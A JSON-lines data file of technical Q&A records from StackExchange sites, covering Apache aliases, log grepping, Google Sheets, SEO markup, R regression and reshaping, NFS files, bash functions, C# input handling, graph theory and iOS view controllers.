{  "id": "_unix.211533"  , "question": "I have a website which is hosted in local Server (CentOS 5.x) (Hostname: xxx.yyy.local, IP : 192.168.5.25). I can browse the site typing the server IP address in the browser from my Local Network e.g: http://192.168.5.25/supportHow can I get an alias for http://192.168.5.25/support Eg: http://mycompany/support ?Note this is required for Internal network only. I don't want to access this site outside of my network."  , "title": "Alias name for ip address"  , "tags": "dns;webserver;hostname;apache httpd"  } 
{  "id": "_unix.361144"  , "question": "Every hour  the server creates a new log file in the format of syslog_all.yyyy-mm-dd-hh and archives the file from the previous hour.What I need is a way to grep through the current and yet-to-be-created log files for a certain string without having to re-start the command every hour just because the filename has changed.Currently I do:tail -f syslog_all.2017-04-25-09 | egrep -i --line-buffered string1 | egrep -i (.*first.*|.*second.*|.*third.*)"  , "title": "Grep in new log files as they are created"  , "tags": "grep;logs;filenames"  } 
{  "id": "_webapps.26066"  , "question": "As to answer a question on SuperUser, I was making a sample spreadsheet on google docs.Now I made it first in Excel 2010 on my computer to copy/paste it later on.When I tried to copy a formula that contained the Match formula, it didn't work (it works in excel though).Now I was wondering is the google spreadsheet limited in formulas, or does it work with its own set of formulas and can't I compare it to the Office Excel one?"  , "title": "Is there a limit on functions in Google Spreadsheets?"  , "tags": "google spreadsheets"  , "accepted_answer": "Google Docs has size limits. There can be 40,000 cells containing formulas.You can compare the Excel functions with this Google Spreadsheet function list. While there are some common functions, Google Spreadsheet does have its own set of formulasGoogle spreadsheets also have complexity limits. Every time a cell is updated, any cell that references it will also be recalculated. If formulas become too complex or take too long to calculate, the spreadsheet will timeout during calculation."  } 
{  "id": "_webmaster.56825"  , "question": "I have a Google Apps Standard account for a seldom used domain. The domain is mine indefinitely (the Registrar offers this to locally registered charities - I just have to maintain a basic webpage), but the group it was intended for never actually formed.The group may still organise someday, and I would like to keep the account active. I'd like to know how often I need to sign in to the admin console to keep the free account active. I don't sign in very often, maybe once a year or so.Will this expire someday, and what are the minimum requirements to keep it active?"  , "title": "Do Google Apps Standard (free) accounts expire after a period of inactivity?"  , "tags": "google apps"  , "accepted_answer": "They do not (or rather, Google has not expired them yet).  I have Google Apps accounts from the very first beta that are not actively used but I can still log in to the Administrator Panel and control the account.  I have gone years in between logins, so there does not appear to be a time limit.No one knows what Google will do in the future though."  } 
{  "id": "_webmaster.28599"  , "question": "I have an php application that uses an MVC framework.Lets say it lives here http://domain.com on the web and here /srv/www/domain.com on my server.I want http://domain.com/blog to use a wordpress install from here /srv/www/blog and all the root web traffic to go to my MVC app (as shown above)How can this be done?I am using linux and apache. "  , "title": "Use different document root for subfolder of URL"  , "tags": "apache;linux"  } 
{  "id": "_webmaster.79213"  , "question": "My page has a set up as below. As you can see it follows a simple structure but there are a number of elements of body text related to the various links.These text elements appear on the page using a JavaScript hover event as the trigger.The downside of this is all that text is diluting the relevant/focused content of the page. <h1>My Page Title</h1><p>My main body text optimised for SEO etc....</p><div id=sub-elements>    <a href=/1.html>Link to Element 1</a>    <p id=element-1-text>This text is hidden but displays when I hover over the Element 1 link.</p>    <a href=/2.html>Link to Element 2</a>    <p id=element-2-text>This text is hidden but displays when I hover over the Element 2 link.</p>    <a href=/3.html>Link to Element 3</a>    <p id=element-3-text>This text is hidden but displays when I hover over the Element 3 link.</p></div>I want the links to the sub-pages 1.html, 2.html and 3.html to be picked up by Google but I don't want their respective <p> tags to be treated as the main content of the page.What would be the best practice in this scenario? I'm wondering if it would be a good idea to wrap said <p> tags in <aside> tags on the chance that Google will recognise this and treat the text not directly applicable to the main body of the page."  , "title": "Is the aside element recognised by Google?"  , "tags": "seo;google search;html5"  , "accepted_answer": "I mentioned this in comments earlier, but I think it is a reasonable solution and a better way to mark up the content...Instead of having the p element (containing the tooltip) hardcoded in the HTML following the anchor, simply include this text in the anchors title attribute. This attribute is, after all, intended for this purpose... to provide the user additional information about the link and is naturally shown as a simple tooltip. The text is taken out of the main content of the page and is unlikely to influence searches for the page itself. It is intrinsically associated with the anchor, is more accessible and works for non-JS users.For example:<a href=/1.html title=Additional help text for this link>Link to Element 1</a>If you need extra styling then construct the tooltip (ie. create the p element) in the onmouseover event (not when the page loads) that copies the text from the title attribute (progressive enhancement). Since you are presumably using the onmouseover event anyway (to show the existing p element), this shouldn't be too much of a change to the code. Just to answer your initial question... I don't think an aside element would be appropriate here (semantically). It is still part of the page content so would still be picked up by Google, with respect to the current page, whether it understood it or not."  } 
{  "id": "_webmaster.10293"  , "question": "My aim is to simply be informative about where a link is pointing to search engines. I have some content that is listed by name and then I have a Permalink button. Would it be blackhat SEO to add some hidden text within the anchor that describes where the permalink is pointing?My content is like so:News Item 1Permalink (<a href=/my-news-item-1><hidden>News Item 1</hidden> Permalink</a>)Teaser text..The news title of the block already links to the article, but I think it would be of benefit to users to provide and explicit permalink button."  , "title": "Is it considered blackhat SEO to have hidden text within links?"  , "tags": "seo;links;blackhat;hidden text"  , "accepted_answer": "I'd prefer to do a <a href= title=whichever the text></a>Anyway, that seems to be a premade Dokuwiki tag? Which actually adds a javascript that initially sets a display:none to the block. If is the case I think it would not harm SEO."  } 
{  "id": "_webapps.87410"  , "question": "When I perform searches I frequently receive a lot of results of photos in my searches.  I would like to exclude these from my searches, how can I do this?Is there a cheatsheet of sorts that show the various search options that exist for Google Drive?"  , "title": "How to exclude Google Photos from Google Drive searches?"  , "tags": "google drive;google photos;google drive search"  , "accepted_answer": "AnswerAdd the following to your searches in Google Drive to exclude photos and other images:-type:imageRemarksThe reference include the cheat sheet of Google Drive search operators. It appears in the the section More search options > Advanced search in Drive.ReferencesSearch for your files - Google Drive Help"  } 
{  "id": "_webmaster.100626"  , "question": "Will my website get penalized if I include my meta descriptions into the main body copy?For example my meta description is Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. If I include the exact same text into the main body copy, how will Google react to that?"  , "title": "Including meta descriptions content into the main body copy"  , "tags": "seo;content;meta description"  , "accepted_answer": "According to Google itself, this is what they have to say about the meta tag description, here.The description attribute within the  tag is a good way to  provide a concise, human-readable summary of each pages content.  Google will sometimes use the meta description of a page in search  results snippets, if we think it gives users a more accurate  description than would be possible purely from the on-page content.  Accurate meta descriptions can help improve your clickthrough;This means your description is used as an indication to Google of what is inside the page and also as the text used in the snippets, providing information to the user that might lead him to click in your page, if it appears in the Search Engine results page.When developing a website, make sure you write for people, not bots. My advice is to don't care if the description is the same as the content as long as it's the appropriate text for your users."  } 
{  "id": "_datascience.11163"  , "question": "I am using kernel regression to build a prediction model. For the same, I am using np package. It is working fine, but I observed in multiple runs on the same data, it produces different results. Why it results in diverse outputs on the same data? Is there any way to select the best run of the model? Here is the minimal R code:library(np)   bw.all = npregbw(formula=power ~ temperature                                    + prevday1 + prevday2                                  + prev_instant1 + prev_instant2                                   + prev_2_hour,                regtype=ll,bwmethod=cv.aic, data=new_tr_dat)   model.np <- npreg(bws=bw.all)   summary(model.np) I am using following data for my experiments:        power temperature   prevday1   prevday2 prev_instant1 prev_instant2 prev_2_hour1   220.59680          38         NA         NA      648.3621     1392.2186    848.72992   584.06867          38  220.59680         NA     1012.6853      250.1150    434.71293   206.39849          40  584.06867  220.59680      169.9380      105.5796    127.72944   177.05559          39  206.39849  584.06867      167.6312      229.3927    249.98715   165.71996          41  177.05559  206.39849      214.8291      248.5378    247.02626   184.02724          44  165.71996  177.05559      256.9970      314.3742    485.51847   187.70557          43  184.02724  165.71996      125.6160      213.9993    174.08308   916.78484          43  187.70557  184.02724      668.2840      217.3451    423.82859   185.98017          42  916.78484  187.70557      295.7329      331.6580   1227.029310  490.42294          42  185.98017  916.78484      241.6590      249.0523    255.311011  703.92694          39  490.42294  185.98017      806.5259     1515.1619   1140.441512 2038.91747          37  703.92694  490.42294      232.5541      582.5105    632.711813  208.66049          26 2038.91747  703.92694      210.5353      217.5053    221.393814  281.89860          37  208.66049 2038.91747      796.4336      256.4664    603.078115  425.72868          32  281.89860  208.66049      250.6069      187.1751    260.057316   86.77193          36  425.72868  281.89860      174.1249      179.6437    164.435917  218.06322          39   86.77193  425.72868      223.6548      316.2230    322.853618  258.89159          43  218.06322   86.77193      233.4561      372.5123    256.858819 1436.19980          40  258.89159  218.06322     1266.2630     1387.2287    791.705620  261.68520          42 1436.19980  258.89159      278.3378      230.5614    262.008421  225.34517          44  261.68520 1436.19980      211.3332      147.6705    196.832822  852.68835          44  225.34517  261.68520     1271.5826     1233.7158    991.783523 1729.79826          44  852.68835  225.34517      945.6528      298.0929    412.219924  464.58053          43 1729.79826  852.68835      182.6507      184.3031    203.539525  902.30950          45  464.58053 1729.79826      308.1398     1743.3495    642.456326  428.18792          45  902.30950  464.58053      205.1806      697.9208   1434.542527 1508.74739          43  428.18792  902.30950     1371.0550     2165.7173   1918.523628  355.01704          42 1508.74739  428.18792     1750.3907     1740.4654   1022.505629 3248.62618          43  355.01704 1508.74739      686.8528      360.0539    660.637830 1949.63937          44 3248.62618  355.01704      258.4627      217.2683    232.381831  725.25368          40 1949.63937 3248.62618     1406.3282     1714.6412   1375.282432  261.31252          32  725.25368 1949.63937      553.0443      275.6697    409.9598"  , "title": "Kernel regression results in diverse outputs"  , "tags": "r;predictive modeling;regression"  , "accepted_answer": "You have a very small number of observations (32?) and a non-trivial number of predictors. It is known that the cross-validation function possesses multiple local minima/maxima. If you increase the number of multistarts to, say, nmulti=100 (add this option to your call to npregbw()), you ought to see that the same results occur on each invocation of the optimization process. Note you can do this all in the call to npreg() and skip the bandwidth call for convenience (npreg() will call npregbw() automatically but accept the arguments intended for npregbw()). Also, you will get the same results if you restart R each time you run the routine (seeds are set automatically to ensure this).model <- npreg(power ~ temperature                       + prevday1                      + prevday2                     + prev_instant1                      + prev_instant2                      + prev_2_hour,                regtype=ll,                bwmethod=cv.aic,                 nmulti=100,                data=new_tr_dat)To see whether things are stable with respect to the number of multistarts, look at the value of the cross-validation function and summary provided. Also, you can look at partial regression plots along with resampled variability bounds via plot().summary(model$bws)plot(model,common.scale=FALSE,plot.errors.method=bootstrap)Also, I note that your predictor `temperature' is discrete, so you might consider using+ ordered(temperature)(i.e. use a discrete support kernel). Doing so reveals that there is little signal in this model, but the same holds for a simple parametric model (adjusted r-squared is negative).model.lm <- lm(model$bws$formula)summary(model.lm)Hope this helps!"  } 
{  "id": "_unix.210844"  , "question": "How can we change the GECOS field for a user if we have hmcsuperadmin rights? "  , "title": "How to change GECOS field on HMC?"  , "tags": "ibm hmc"  , "accepted_answer": "chhmcusr -i name=foobaruser,description=PROOOBAPROOOBA is the new GECOS field foobaruser is the username"  } 
{  "id": "_opensource.2416"  , "question": "I am currently developing an online service that allows to share and download music from different source on the internet, this is a free service without subscription or registration, I found a perfect flag icons I will like to integrate into the website countries section, but it comes with Creative Commons license: Attribution-NonCommercial-NoDerivs 3.0 Unported.I'm seriously confused on whether to use the flags because I am going to be running advertisements from Google and some other places to help with the financing of the web hosting and the Terms are:You must give appropriate creditI really don't want to attribute any link on that page that has the logoYou may not use the material for commercial purposes.Does running of advert which might earn me some cash means I can't use it?Could you please provide me with advice, because I would not like to be in trouble with my work."  , "title": "Using CC BY-NC-ND images on website with ads"  , "tags": "attribution;commercial;non commercial;cc by nc nd"  } 
{  "id": "_cogsci.4335"  , "question": "There are obvious consequences that prevent people from behaving anti-socially or criminally. However there are many behaviours that are within the bounds of social norms, yet there seems to be some invisible force preventing people from letting go of inhibitions and acting spontaneously.  What stops a person from doing something when they have the urge to do something spontaneous and random? I was in the process of answering another question when it was deleted; so decided to write my own question"  , "title": "What causes behavioural inhibition?"  , "tags": "cognitive psychology;social psychology;developmental psychology;reinforcement learning"  } 
{  "id": "_unix.197385"  , "question": "I have a very simple bash script build.sh which defines - but doesn't invoke - a collection of functions, e.g.#! /bin/bashcreate_iptables_log() {    # do stuff}apply_iptables_rules() {    # do stuff}The script is then sourced source build.sh and the functions are intended to be run from the command prompt.How can I get a list of the functions that the script has defined?I am currently grepping the file, e.g.:grep -v '^#' build.sh | grep functionbut I wondered if there was a bash way to list the functions that are present in the bash environment."  , "title": "Listing functions defined in a sourced script?"  , "tags": "bash"  , "accepted_answer": "The command typeset -f lists the function definitions. (It is supported at least by bash and ksh.) Use awk if you want to post-process the data, e.g. to extract only the function names."  } 
{  "id": "_unix.231074"  , "question": "I rm'd a file and now I see:$ ltotal 64-rw-rw-r-- 1 502 17229 Sep 17 16:42 page_object_methods.rbdrwxrwxr-x 7 502   238 Sep 18 18:41 ../-rw-rw-r-- 1 502 18437 Sep 18 18:41 new_page_object_methods.rb-rw-r--r-- 1 502 16384 Sep 18 18:42 .nfs0000000000b869e300000001drwxrwxr-x 5 502   170 Sep 21 13:48 ./13:48:11 *vagrant* ubuntu-14 selenium_rspec_conversionand if I try to remove it...$ rm .nfs0000000000b869e300000001rm: cannot remove .nfs0000000000b869e300000001: Device or resource busyWhat does this indicate?  What should I do"  , "title": "removed a vagrant file and now I see .nfs0000000000b869e300000001?"  , "tags": "files;nfs;rm;vagrant"  , "accepted_answer": "A file can be deleted while it's open by a process. When this happens, the directory entry is deleted, but the file itself (the inode and the content) remain behind; the file is only really deleted when it has no more links and it is not open by any process.NFS is a stateless protocol: operations can be performed independently of previous operations. It's even possible for the server to reboot, and once it comes back online, the clients will continue accessing the files as before. In order for this to work, files have to be designated by their names, not by a handled obtained by opening the file (which the server would forget when it reboots).Put the two together: what happens when a file is opened by a client, and deleted? The file needs to keep having name, so that the client that has it open can still access it. But when a file is deleted, it is expected that no more file by that name exists afterwards. So NFS servers turn the deletion of an open file into a renaming: the file is renamed to .nfs (.nfs followed by a string of letters and digits).You can't delete these files (if you try, all that happens is that a new .nfs appears with a different suffix). They will eventually go away when the client that has the file open closes it. (If the client disappears before closing the file, it may take a while until the server notices.)"  } 
{  "id": "_cs.12497"  , "question": "Consider this small picture of a sunflower, and its histogram: What would the Fourier transform of the first picture look like?  Is there any relationship between the histogram and the Fourier transform?"  , "title": "What the difference between the Fourier Transform of an image and an image histogram?"  , "tags": "image processing;graphics;fourier transform"  } 
{  "id": "_cs.64485"  , "question": "Recently, I am reading the book [1]. I am trying to solve the following problem:1.3 Proving Euler's claim. Euler didn't actually prove that having vertices with even degree is sufficient for a connected graph to be Eulerian--he simply stated that it is obvious. This lack of rigor was common among 18th century mathematicians. The first real proof was given by Carl Hierholzer more than 100 years later. To reconstruct it, first show that if every vertex has even degree, we can cover the graph with a set of cycles such that every edge appears exactly once. Then consider combining cycles with moves like those in Figure 1.8.  The following is my attempt to solve the problem:Let $G$ be a connected graph and every vertex of $G$ has even degree. Let $N_V$ be the number of vertices in $G$. Let $d_i$ be the degree of the $i$th vertex for $i = 1, ..., N_V$. Then$$ d_i = 2 n_i \\tag{1} $$for some positive integer $n_i$, $i = 1, ..., N_V$. Therefore, by walking on the edges of $G$, we can walk to and leave the $i$th vertex for $n_i$ times, with each edge being walked on exactly once. Then I don't know how to continue...I also go to the Internet and find Carl Hierholzer's paper [2]. However, it is written neither in English nor Chinese (my mother language), so I can't read it.Note: It is not my homework. I am just interested in solving this problem.References[1] C. Moore and S. Mertens, The Nature of Computation, Oxford University Press, 2015.[2] C. Hierholzer. Ueber die Mglichkeit, einen Linienzug ohne Wiederholung und ohne Unterbrechung zu umfahren. Mathematische Annalen, 6:30-32, 1873."  , "title": "Prove: A connected graph contains an Eulerian cycle iff every vertex has even degree"  , "tags": "graph theory"  } 
{  "id": "_cstheory.8523"  , "question": "I just found the following sentence from the #P wiki page:Jerrum, Valiant, and Vazirani showed that every #P-complete problem either has an FPRAS, or is essentially impossible to approximate; if there is any polynomial-time algorithm which consistently produces an approximation of a #P-complete problem which is within a polynomial ratio in the size of the input of the exact answer, then that algorithm can be used to construct an FPRAS.[3]http://en.wikipedia.org/wiki/Sharp-P-completethe referece [3] is Mark R. Jerrum; Leslie G. Valiant; Vijay V. Vazirani (1986). Random Generation of Combinatorial Structures from a Uniform Distribution. Theoretical Computer Science (Elsevier) 32: 169188.I took a quick look at [3]. But it seems to me that the results of [3] do not contain anything similar to what is in the wiki page. Is there a mistake in the wiki page? Thanks."  , "title": "FPRAS for #P-complete problems"  , "tags": "ds.algorithms;counting complexity;randomized algorithms"  , "accepted_answer": "The claim is not hard to see for specific problems though proving it for all #P-complete problems may require some more formalism. Suppose for some #P-complete problem one can obtain a $p(n)$-approximation. Given an instance $I$ make a new instance $I$ which contains $k$ copies of $I$. The number of solutions to $I$ is $a^k$ where $a$ is the number of solutions to $I$. Thus, choosing $k$ sufficiently large, even a polynomial-ratio approximation to $I'$ can be used to approximate $a$ pretty well. "  } 
{  "id": "_codereview.94875"  , "question": "I've been writing a program that accepts an integer as input and displays the number Pi rounded to that number. The only issue I see is the fact that the Math.Round method can only round up to 15 spaces and there's no try-catch for that ArgumentOutOfRange exception. I'm also not sure how safe it is letting your flow of execution rely on a try-catch statement.class Program{    public static int counter = 0;    static void Main(string[] args)    {        Console.WriteLine(Welcome to the Pi-Rounder! Find Pi to up to 15 decimal places!);        Console.WriteLine(Please enter the number of decimal places you'd like to round to.);        int roundTo;        do        {            string digitAsString = Console.ReadLine();            roundTo = ConversionLoop(digitAsString);        }        while(roundTo == 0 && counter != 5);        if(counter == 5)        {            throw new FormatException();        }        else        {            double piRounded = Math.Round(Math.PI, roundTo);            Console.WriteLine(piRounded);            Console.ReadLine();        }    }    static int ConversionLoop(string digitString)    {        try        {            int digit = Convert.ToInt32(digitString);            return digit;        }        catch(FormatException)        {            counter++;            Console.WriteLine(That was not a valid number. Please try again.);            return 0;        }    }}"  , "title": "Get an integer as input and display Pi rounded to that amount of decimal places"  , "tags": "c#;error handling;formatting;floating point"  , "accepted_answer": "There are several issues with this piece of code:    do    {        string digitAsString = Console.ReadLine();        roundTo = ConversionLoop(digitAsString);    }    while(roundTo == 0 && counter != 5);    if(counter == 5)    {        throw new FormatException();    }    else    {        double piRounded = Math.Round(Math.PI, roundTo);        Console.WriteLine(piRounded);        Console.ReadLine();    }Problems:ConversionLoop is a meaningless name. The function parses a string to an integer, so a better name would be toIntThe handling of invalid input and incrementing the counter are not visible here. At first look I didn't see how the counter can advance, and it seemed you don't tell the user about invalid results. I had to look at the ConversionLoop to find out, but it was not logical to do so. The responsibility of getting valid input should not be split between two methods, it would be clearer to handle in one place, and have all the elements of the logic easily visible.If the user fails to enter valid input 5 times, the code throws new FormatException()FormatException is not appropriate for this. The problem is not invalid format, but failure to enter valid input within a reasonable number of retries. It's a different kind of error, and should be captured by a different exception classCreating an exception without a text message explaining the problem makes debugging difficultAfter throwing an exception in the if branch, the program exits from the method, so you can simplify the elseA bugI think you have a bug: if the user enters 0 as input,the ConversionLoop method doesn't print an error and returns 0 normally,but the program will still wait for another try.Without a message, this will be confusing to the user.I doubt you intended it this way.Suggested implementationWith the above suggestions, the code becomes:class UserInputException : Exception{    public UserInputException(string message) : base(message)    {    }}public static int MAX_TRIES = 5;static void Main(string[] args){    Console.WriteLine(Welcome to the Pi-Rounder! Find Pi to up to 15 decimal places!);    int roundTo = ReadIntegerInput();    double piRounded = Math.Round(Math.PI, roundTo);    Console.WriteLine(piRounded);    Console.ReadLine();}static int ReadIntegerInput() {    Console.WriteLine(Please enter the number of decimal places you'd like to round to.);    int counter = 0;    while (true)    {        string digitAsString = Console.ReadLine();        try        {            return Convert.ToInt32(digitAsString);        }        catch(FormatException)        {            if (++counter == MAX_TRIES)            {                throw new UserInputException(Too many invalid inputs. Goodbye.);            }            Console.WriteLine(That was not a valid number. Please try again.);        }    }}"  } 
{  "id": "_datascience.15005"  , "question": "I am working with a dataframe in R that is formatted like this sample:Countries <- c('USA','USA','Australia','Australia')Type <- c('a','b','a','b')X2014 <- c(10, -20, 30, -40)X2015 <- c(20, -40, 50, -10)X2016 <- c(15, -10, 10, -100)X2017 <- c(5, -5, 5, -10)df_sample <- data.frame(Countries, Type, X2014, X2015, X2016, X2017)The dataframe looks like this:  Countries Type X2014 X2015 X2016 X20171       USA    a    10    20    15     52       USA    b   -20   -40   -10    -53 Australia    a    30    50    10     54 Australia    b   -40   -10  -100   -10I want to be able to create columns of year values for each type by each country, yielding something that looks like this:        Countries   Year     a     b 1       USA         X2014    10   -20   2       USA         X2015    20   -40   3       USA         X2016    15   -10  4       USA         X2017     5    -5  ...With recast I get this:recast(df_sample, Countries ~ Type)  Countries a b1 Australia 4 42       USA 4 4With dcast I get this:dcast(df_sample, Countries ~ Type)  Countries a   b1 Australia 5 -102       USA 5  -5The dataset I'm working with has 44 years of data, so I'd like to be able to indicate all columns of yearly data without having to enter each column id manually into a cast formula. What is the difference between dcast and recast (i.e. what situations might they be best suited to), and is it possible to shape my data with them?"  , "title": "What is the difference between dcast and recast in R?"  , "tags": "r;data cleaning"  , "accepted_answer": "See ?reshape2::recast: The function conveniently wraps melting and (d)casting a data frame into a single  step.library(reshape2)recast(df_sample, Countries+variable~Type, id.var=1:2)#   Countries variable  a    b# 1 Australia    X2014 30  -40# 2 Australia    X2015 50  -10# 3 Australia    X2016 10 -100# 4 Australia    X2017  5  -10# 5       USA    X2014 10  -20# 6       USA    X2015 20  -40# 7       USA    X2016 15  -10# 8       USA    X2017  5   -5So, it's just a shortcut for these two steps:(tmp <- melt(df_sample, id.vars=1:2))#    Countries Type variable value# 1        USA    a    X2014    10# 2        USA    b    X2014   -20# 3  Australia    a    X2014    30# 4  Australia    b    X2014   -40# 5        USA    a    X2015    20# ...dcast(tmp, Countries+variable~Type)#   Countries variable  a    b# 1 Australia    X2014 30  -40# 2 Australia    X2015 50  -10# 3 Australia    X2016 10 -100# 4 Australia    X2017  5  -10# 5       USA    X2014 10  -20# 6       USA    X2015 20  -40# 7       USA    X2016 15  -10# 8       USA    X2017  5   -5"  } 
{  "id": "_webapps.28560"  , "question": "While trying to combine to Gmail filters, I noticed something strange: filter from:person@example1.com alone returns 180 results, filter from:person@example2.com alone returns 69 results, but when combinedfrom:person@example1.com OR from:person@example2.com, the filter returns only 120 results. Why?"  , "title": "Why using boolean operators returns less results in Gmail filters?"  , "tags": "gmail;gmail filters"  } 
{  "id": "_webapps.3586"  , "question": "I know there is a plugin for Firefox but is there any other way to create a signature in Gmail that includes an image? "  , "title": "How to add an image to my Gmail signature?"  , "tags": "gmail;google apps"  , "accepted_answer": "Google recently introduced their rich text signatures feature for Gmail users (including Apps users):  Official Gmail Blog.From your inbox screen, click on Settings in the upper-right corner. Scroll down to the signature box, which is now a rich text editor just like the regular email editor. You should be able to add images, colorful text, and all kinds of things that are totally unnecessary for a wholly-textual experience like email."  } 
{  "id": "_softwareengineering.83149"  , "question": "I have recently started my journey to learn programming, and got my self a book on Objective-C.The thing is though: I get stuck quite often, trying to figure out how to solve the different exercises. I am quite new, currently on chapter 5 and trying to figure out how to do the different exercises.I get stuck and can't solve the exercise, so I look up the solution on the official forum and try to understand how they solved it. Then I keep thinking that the authors intention must to be able to do the following exercises, so I get a little worried about not being able to do all exercises.So I was wondering: is it bad learning behaviour to look up the solution online, and try to understand the method behind the solution, or should I keep sticking with that method, and learning it somehow sooner or later?What did you do when you were in the same learning process as me?"  , "title": "Should I be looking up the answers to programming exercises?"  , "tags": "learning;self improvement"  } 
{  "id": "_unix.87792"  , "question": "I searched on Google, but found nothing useful. I use SUSE now, how can I install LiS on my computer?I'm hoping for a download link."  , "title": "How can I install STREAMS in Linux?"  , "tags": "linux;streams;fast streams"  , "accepted_answer": "From the wikipedia article on STREAMS:excerptThe Linux kernel does not include STREAMS functionality. The kernel  developers consider it technically inadequate, and the compatibility layers in Linux for other operating systems convert STREAMS operations into sockets as early as possible.14LiS (Linux STREAMS) adds STREAMS functionality on Linux15,16OpenSS7 offers Fast STREAMS on Linux.[17]OpenSS7If you're on a Red Hat based distro, OpenSS7 provides RPMs for STREAMS so it should be trivial to at least install it.LiSI also came across this URL, titled: Introduction to LiS. This page seems to be what you're looking for. It includes links to download LiS as well as installation instructions.Downloads LiSInstallation InstructionsSeems pretty straightforward to install it. You'll need tools such as gcc, autotest, make, etc. installed. Depending on your distro these should be easy enough to get. The steps to install it:$ cd /usr/src/LiS-2.16 (Or wherever you installed the files)$ make$ make installLooks like these steps assume you're root when doing the installation. I hightly suggest you read the Installation of LiS guide. It covers installation and configuration of the software.32-bit vs. 64-bitAs of version 2.19.2 there isn't any support for 64-bit. So just something to be aware of.https://www.dialogic.com/den/forums/p/9246/34706.aspxUPDATE #1In digging more into the gcom.com website it appears that they've discontinued support for LiS. excerptThe LiS-2.18 version described by this documentation is the final  version of LiS to be published on the Gcom FTP site. It is possible  that others in the LiS community may organize a maintenance method for  this package. To be apprised of developments in this area subscribe to  the LiS discussion group and watch for announcements.Gcom no longer supports LiS for use with anything other than Gcom  products.  Please consult your software/hardware vendor for LiS  support.  If you are interested in complete protocol solutions for  Linux, please contact sales@gcom.com.More digging lead to this URL which has LiS 2.19.0. I was able to download it successfully and the tarball appears to be intact.NOTE: The above URL was ferreted out from this IBM technote, titled: Where to get LiS (Linux Streams).Linux Fast-STREAMS project?I found this note on the openss7 site, on a page titled: Linux STREAMS (LiS) Installation and Reference Manual.excerptNote: The original LiS package from GCOM is no longer actively  maintained by either GCOM or the OpenSS7 Project: use the OpenSS7  Linux Fast-STREAMS package http://www.openss7.org/STREAMS.html  instead.Of course the URL above is broken, I was able to find this Fast-STREAMS project page on the openss7 project page here, titled: Linux Fast-STREAMS. Continuing my expedition on the openss7 website I found this page, titled: Linux Fast-STREAMS (streams) Release. This page included both links to the deprecated LiS project as well as the new project Fast-STREAMS, which they appear to be just calling streams. This link to the latest version, 0.9.2.4 of streams, includes tarballs, source RPMS, and binary RPMS. This page seems to be what you're looking for, though the packages are provided for CentOS 5.2, they might be rebuilt for CentOS 6.x."  } 
{  "id": "_codereview.68861"  , "question": "Is there something as they have too little in common to use a superclass?In my case, doing iOS programming, in a project, every screen has the same background. So I created a superclass which only has:.h@property (nonatomic) IBOutlet UIImageView *backgroundImageView;.m- (void)viewDidLoad {    [super viewDidLoad];    UIImage *backgroundImage = ...;    [self.backgroundImageView setImage:backgroundImage];}Is this too little to use a superclass for?If I didn't add it here, I'd have about 10 view controllers where I would have to do this. (Obviously code duplication)."  , "title": "Setting a common background image on a dozen screens"  , "tags": "objective c;inheritance"  , "accepted_answer": "The short answer is, no, this is not too little code to extract into a super class.If you intend for this bit of code to always be the same throughout every use of this class and its subclasses, then it's absolutely appropriate to put the code in the superclass.  The primary point is, here, if we ever decide to change something about this code, we can change it in once place and have this change applied across all instances.With that said, however, I want to point out some problems.As a start, we have no guarantee that this code will actually run.  If our subclass implements viewDidLoad and fails to call to super, now our code doesn't run.  There's still no way to make this guarantee, but there is a way to make a reminder for ourselves.As this StackOverflow answer outlines, the NS_REQUIRES_SUPER directive will throw a warning when subclass implement the method without calling the super method.  So we should add the following to our .h file:- (void)viewDidLoad NS_REQUIRES_SUPER;Now, a subclass of this class which implements viewDidLoad will throw a compiler warning until [super viewDidLoad]; is added to its viewDidLoad implementation.There's problems still however.  For starters, as a rule, I don't like IBOutlets in my header file.  There's absolutely no reason for these to be public.  But in this particular case, we shouldn't have an IBOutlet at all.  Using an image view set up in interface builder and requiring it be hooked up to this outlet will supremely complicate things.First, not only do we have to remember to call to super, which I already address.  But we also have to remember to add the image view.  And we have to remember to hook the image view up as an outlet.  Trouble is though, we can't (or shouldn't) hook it up to our current class.  We should open this, the super class, in assistant editor and hook it up to that.  Problem is, assistant editor won't automatically load super class's in the assistant window... so that's kind of a pain.I'm a huge proponent of using interface builder.  It does a lot to vastly simplify our written code, but in this case, it doesn't suffice for producing simplified results.We should remove this outlet altogether and not worry in the slightest about relying on the subclass setting up the image view in interface builder and hooking it up properly.  The whole point of subclassing is minimizing redundancy, and so far, we're only half way there.(Moreover, what guarantee do we have that every subclass of this class will even use interface builder at all?  View Controllers don't require a corresponding interface builder representation--the view can be set up entirely programmatically.)We need to change our viewDidLoad code to manually create an image view with an image and load it as the background.The number one problem we'll run into in manually creating and adding the image view to the view controller is getting it appropriately as the background.  We can't be sure whether the subclass will do it's set up first then call super, or call super then do its set up (in case you're wondering, in viewDidLoad, it's appropriate to call to super FIRST, then add your implementation).  Moreover, the view controller will almost certainly have views added on it in interface builder if the developer is using interface builder.So, we need to add the view as the bottom-most view in the view controller's view's subviews.This might be a good implementation:- (void)viewDidLoad {    [super viewDidLoad];    // Set up image view    UIImage *backgroundImage = [UIImage imageNamed:@background];    UIImageView *backgroundView = [[UIImageView alloc] initWithImage:backgroundImage];    [backgroundView setTranslatesAutoresizingMaskIntoConstraints:NO];    // aspect fill may be preferred    backgroundView.contentMode = UIViewContentModeScaleAspectFit;     // Add background view as back-most view    [self.view insertSubview:backgroundView atIndex:0];    // Set up auto layout constraints so this view controller is applicable    // on any device in any rotation    NSDictionary *views = NSDictionaryOfVariableBindings(backgroundView);    NSArray *verticalConstraints =         [NSLayoutConstraint constraintsWithVisualFormat:@V:|-0-[backgroundView]-0-|                                                options:0                                                metrics:nil                                                  views:views];    NSArray *horizontalConstraints =         [NSLayoutConstraint constraintsWithVisualFormat:@H:|-0-[backgroundView]-0-|                                                options:0                                                metrics:nil                                                  views:views];    [self.view addConstraints:verticalConstraints];    [self.view addConstraints:horizontalConstraints];}I'm not particularly a fan of setting up UI in code (especially auto layout).  I much, much prefer interface builder.  But in some cases, it is absolutely necessary to get it right.This auto layout code may seem bulky and unnecessary if your current app is just for iPads and just for a single orientation.  But as soon as you want to subclass this view controller into an app that rotates or is made for iPhones, or is a universal app, you'll be glad to have this auto layout code.As one final comment, I might make a UIImage property in the .h file so that the background image could be changed."  } 
